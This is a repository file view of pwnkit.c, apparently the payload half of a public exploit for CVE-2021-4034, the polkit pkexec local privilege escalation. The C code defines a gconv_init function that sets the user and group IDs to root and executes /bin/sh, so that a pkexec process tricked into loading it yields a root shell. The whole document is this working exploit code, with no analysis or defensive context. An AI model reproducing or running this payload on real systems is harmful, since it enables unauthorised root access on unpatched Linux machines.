CVE-2021-4034/pwnkit.c

17 lines
339 B
C
Raw Normal View History

2022-01-26 03:03:31 +03:00
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {
}
void gconv_init(void *step)
{
char * const args[] = { "/bin/sh", NULL };
char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
setuid(0);
setgid(0);
2022-01-26 03:03:31 +03:00
execve(args[0], args, environ);
exit(0);
}